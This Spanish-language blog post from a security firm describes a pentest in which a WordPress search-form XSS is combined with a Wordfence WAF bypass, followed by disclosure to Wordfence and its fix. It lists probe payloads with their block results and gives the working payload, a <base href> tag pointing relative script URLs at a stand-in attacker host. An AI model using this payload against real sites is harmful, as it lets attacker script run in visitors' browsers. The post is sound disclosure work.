Muchos clientes piensan que una solución de Web Application Firewall (WAF por sus siglas en inglés) es una solución total para detener ataques web, como inyecciones SQL o Cross-Site Scripting.

Queremos compartir con nuestros seguidores cómo durante un servicio de pentest web, el equipo de research de DeepSecurity, encabezado por Camilo Galdos, se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS) y bypasear al WAF de WordFence mediante el uso de URLs relativas y así explotar la vulnerabilidad en nuestro cliente.

¿Existen vulnerabilidades en WAF de WordFence?

Durante uno de nuestros servicios de pentesting, que es básicamente un ataque a un sistema informático que tiene la intención de encontrar las debilidades de seguridad antes que los chicos malos lo hagan, encontramos una plataforma WordPress protegida por la solución de WordFence Premium, ambas en su versión más reciente.

Cuando comenzamos con las labores de reconocimiento (fingerprint), notamos que WordPress contaba con una plantilla (template) propia. Al iniciar la búsqueda de vulnerabilidades identificamos que era vulnerable a Cross-Site Scripting en el formulario de búsqueda.

En este punto empezó el reto. El WAF de Wordfence protege de forma activa las variables por método GET y hasta el momento habíamos identificado la siguiente complejidad:

<maquee>foo → PASS

<marquee onstart=>foo → BLOCK

<marquee onTest=>foo → BLOCK

<div width=>foo → PASS

<script>foo → BLOCK

<marquee>alert(1) → BLOCK

Identificamos que el WAF bloqueaba todos los eventos (onmouseover, onstart, onclick, etc.) y no permitía el uso del tag <script>. Esto limita bastante las posibilidades de encontrar un vector válido para bypassear el WAF. Sin embargo, continuamos con el análisis para intentar evadir la protección y pudimos notar un detalle en el código fuente de la aplicación que nos resultó bastante interesante.

Código referencial encontrado en el footer de la web:

<script src=’/static/scripts/email-validation/emailvalidation.min.js’> </script>

Como se puede visualizar en la etiqueta Script antes expuesta, se ve un link hacia un archivo Javascript llamado “emailvalidation.min.js”. El detalle importante es que, comparado con los otros scripts cargados por el sitio, este tiene una particularidad:

<script src=’/static/scripts/email-validation/emailvalidation.min.js’> </script>

<script src=’https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js’> </script>

<script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery.js?ver=3.1.4′> </script>

<script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1′> </script>

Al revisar esto se puede identificar que uno de los links a los archivos Javascript no tiene dominio antepuesto a la ruta del servidor donde se encuentra. Según el estándar de HTML 5.3, hosteado por la W3C, cuando ninguna ruta absoluta es especificada (dominio y path) antes de llamar un elemento con fuente (src), la fuente coge el fallback URL que es valor del documento actual, es decir:

Si cargo https://www.example.com/wordpress/ el script cargado sería el siguiente:



https://www.example.com/wordpress/static/scripts/email-validation/emailvalidation.min.js



La parte interesante es que el estándar también menciona un dato que llama la atención:

Existe un tag HTML mediante el cual se puede especificar la URL base para que los otros elementos usen. Cuando hicimos la siguiente prueba de payload el WAF no saltaba:



<a href=//attacker.pe>foo → BLOCK

<base href=//attacker.pe> → PASS

Al inspeccionar con la consola de Chrome, se pudo apreciar lo siguiente:

Usando el payload adecuado: <base href=//attacker.pe> hemos conseguido que todas las URLs relativas del documento apunten a un dominio de nuestro control. Dicho esto, solo nos quedó crear el path en nuestro host:



https://attacker.pe/static/scripts/email-validation/emailvalidation.min.js

Y al ingresar al link del XSS con nuestro payload, hemos bypasseado el WAF de Wordfence mediante URLs relativas.

Un caso de éxito con resultados positivos para WordFence

Nuestro trabajo en DeepSecurity solventó esta vulnerabilidad y adicionalmente tuvo resultados positivos en el plugin de WordFence. Además de haber reportado el bug al cliente, también se reportó el método de bypass a WordFence.

El equipo de WordFence respondió de forma positiva a este reporte y en un excelente tiempo, ya que en el mismo día de la notificación asignaron el caso para trabajar en su resolución. Actuaron de forma rápida para evitar que sus clientes se vieran afectados por este bypass y para ello, apenas tres días después del reporte, añadieron una nueva regla a su WAF, por lo que ahora el payload <base href=//url> es detectado como malicioso.

Esto demuestra la importancia de contar con un servicio dedicado a la ciberseguridad que sea capaz de detectar fallos en grandes organizaciones para encontrar soluciones que mantengan a los piratas informáticos alejados de los sitios web. Esta es nuestra labor y la llevamos al punto máximo de exigencia para ofrecer resultados y calidad en cada trabajo.

Línea de Tiempo:

• Conocimiento sobre el Bypass: 24 de Julio
• Reporte a Wordfence: 31 de Julio
• Wordfence Asigna ID 1170 al caso: 31 de Julio
• Wordfence añade una regla: 3 de Agosto
• Equipo de DeepSecurity confirma la regla: 5 de Agosto.

Agradecimientos especiales a Jesús Espinoza Soto por su participación en esta investigación.